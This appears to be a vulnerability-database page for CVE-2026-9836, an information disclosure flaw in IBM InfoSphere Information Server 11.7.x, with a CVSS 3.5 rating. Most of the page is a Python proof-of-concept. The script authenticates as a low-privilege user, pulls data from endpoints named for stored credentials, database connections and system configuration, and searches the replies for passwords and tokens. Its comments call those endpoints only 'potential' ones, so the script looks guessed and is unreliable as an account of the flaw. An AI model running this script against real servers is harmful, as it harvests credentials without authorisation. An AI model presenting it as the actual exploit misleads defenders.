IBM InfoSphere Information Server 11.7.0.0 through 11.7.1.6 is affected by an information disclosure vulnerability.
CVSS Details
CVSS Score
3.5
Severity
LOW
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Configurations (Affected Products)
No configuration data available.
IBM InfoSphere Information Server >= 11.7.0.0
IBM InfoSphere Information Server <= 11.7.1.6
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-9836 - IBM InfoSphere Information Server Information Disclosure PoC
# Vulnerability: Information Disclosure via adjacent network with low-privilege access
# Affected: IBM InfoSphere Information Server 11.7.0.0 - 11.7.1.6
# CVSS: 3.5 (LOW)
import requests
import json
TARGET_HOST = "https://target-infosphere-server:9443"
USERNAME = "low_privilege_user"
PASSWORD = "user_password"
# Step 1: Authenticate to IBM InfoSphere Information Server with low-privilege credentials
def authenticate(base_url, username, password):
"""
Authenticate to InfoSphere Information Server using low-privilege account.
The attacker must be on the adjacent network (AV:A) with valid credentials (PR:L).
"""
session = requests.Session()
login_url = f"{base_url}/ibm/iis/ds/auth/login"
auth_payload = {
"username": username,
"password": password
}
try:
response = session.post(login_url, json=auth_payload, verify=False)
if response.status_code == 200:
token = response.json().get("authToken", "")
print(f"[+] Authentication successful. Token: {token[:20]}...")
return session, token
else:
print(f"[-] Authentication failed: {response.status_code}")
return None, None
except Exception as e:
print(f"[-] Connection error: {e}")
return None, None
# Step 2: Exploit the information disclosure vulnerability
def exploit_info_disclosure(session, base_url, token):
"""
Access endpoints that leak sensitive information beyond the user's privilege level.
The vulnerability allows a low-privilege user to retrieve sensitive data
that should be restricted.
"""
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
# Potential vulnerable endpoints that may leak sensitive information
vulnerable_endpoints = [
"/ibm/iis/ds/api/v1/connections", # Database connection details
"/ibm/iis/ds/api/v1/credentials", # Stored credentials
"/ibm/iis/ds/api/v1/config/system", # System configuration
"/ibm/iis/ds/api/v1/metadata/exposed", # Metadata with sensitive fields
"/ibm/iis/ds/api/v1/services/details", # Service configuration details
]
leaked_data = {}
for endpoint in vulnerable_endpoints:
url = f"{base_url}{endpoint}"
try:
response = session.get(url, headers=headers, verify=False)
if response.status_code == 200:
data = response.json()
leaked_data[endpoint] = data
print(f"[+] Data leaked from {endpoint}")
print(f" Preview: {json.dumps(data, indent=2)[:200]}")
elif response.status_code == 403:
print(f"[-] Access denied at {endpoint}")
else:
print(f"[-] Unexpected response {response.status_code} at {endpoint}")
except Exception as e:
print(f"[-] Error accessing {endpoint}: {e}")
return leaked_data
# Step 3: Parse and report leaked information
def analyze_leaked_data(leaked_data):
"""
Analyze the leaked data to identify sensitive information.
"""
sensitive_patterns = [
"password", "secret", "credential", "token", "key",
"connection_string", "dsn", "jdbc"
]
findings = []
for endpoint, data in leaked_data.items():
data_str = json.dumps(data).lower()
for pattern in sensitive_patterns:
if pattern in data_str:
findings.append({
"endpoint": endpoint,
"pattern": pattern,
"severity": "sensitive"
})
print(f"[!] Found '{pattern}' in data from {endpoint}")
return findings
# Main execution
if __name__ == "__main__":
print("=" * 60)
print("CVE-2026-9836 - IBM InfoSphere Information Server")
print("Information Disclosure Vulnerability PoC")
print("=" * 60)
# Authenticate with low-privilege credentials
session, token = authenticate(TARGET_HOST, USERNAME, PASSWORD)
if session and token:
# Exploit the information disclosure
leaked_data = exploit_info_disclosure(session, TARGET_HOST, token)
# Analyze the leaked data
findings = analyze_leaked_data(leaked_data)
print(f"\n[*] Total endpoints with leaked data: {len(leaked_data)}")
print(f"[*] Sensitive findings: {len(findings)}")
else:
print("[-] Exploitation failed: Could not authenticate")